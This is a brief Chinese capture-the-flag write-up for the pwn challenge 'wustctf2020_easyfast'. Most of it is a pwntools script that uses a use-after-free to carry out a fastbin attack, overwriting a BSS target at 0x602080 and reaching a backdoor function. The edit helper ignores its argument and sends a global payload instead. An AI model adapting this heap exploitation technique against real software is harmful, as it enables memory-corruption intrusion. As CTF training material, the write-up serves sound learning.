image.png
    保护措施
    image.png
    这个函数里有个后门函数
    image.png
    free函数不干净,uaf漏洞
    所以我们初步想法就是通过fast binattack来劫持bss段,让这个target为0
    image.png
    creat函数当中这个次数有限

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level='debug'
    4. io = process('./wustctf2020_easyfast')
    5. #io = remote('node4.buuoj.cn',25779)
    6. #libc =ELF("libc-2.23.so")
    7. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    8. elf = ELF("./wustctf2020_easyfast")
    9. addr = 0x4008A6
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(size):
    14. io.recvuntil("choice>")
    15. io.sendline("1")
    16. io.recvuntil("size>")
    17. io.sendline(str(size))
    18. def edit(index,value):
    19. io.recvuntil("choice>")
    20. io.sendline("3")
    21. io.recvuntil("index>")
    22. io.sendline(str(index))
    23. io.send(payload)
    24. def free(index):
    25. io.recvuntil("choice>")
    26. io.sendline("2")
    27. io.recvuntil("index>")
    28. io.sendline(str(index))
    29. creat(0x40)
    30. creat(0x40)
    31. free(0)
    32. target_addr = 0x602080
    33. payload = p64(target_addr)
    34. edit(0,payload)
    35. creat(0x40)
    36. creat(0x40)
    37. payload=p64(0)
    38. edit(3,payload)
    39. debug()
    40. io.recvuntil("choice>")
    41. io.sendline("4")
    42. io.interactive()

    这个50能做size我是真没想到,后面随便搞居然可以了。这个size的判断属实没搞懂
    image.png